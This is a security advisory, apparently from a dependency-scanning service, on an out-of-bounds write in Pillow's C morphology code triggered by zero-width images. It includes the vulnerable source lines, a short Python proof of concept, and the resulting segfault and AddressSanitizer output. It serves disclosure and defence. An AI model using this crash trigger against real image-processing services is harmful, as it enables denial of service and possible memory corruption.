PyPI · Pillow
Pillow: Out-of-bounds access in _imagingmorph on a zero-width image
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size (0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes.
The PPM parser reads width and height with no lower-bound check:
src/PIL/PpmImagePlugin.py:119The native apply() writes the row edges with no guard that the width is positive:
src/_imagingmorph.c:81 sets outrow[0] = outrow[width - 1] = 0;match() and get_on_pixels() use the same edge-indexing pattern.
from PIL import Image, ImageMorph
# A width-0 image (also producible from a crafted PPM header). apply() indexes
# outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)
Run it:
$ python 03_poc.py
Segmentation fault (core dumped)
Observed on a source build of commit 3e2ab96.
Under AddressSanitizer:
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
#0 apply src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
With width 0 the outrow[width - 1] write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.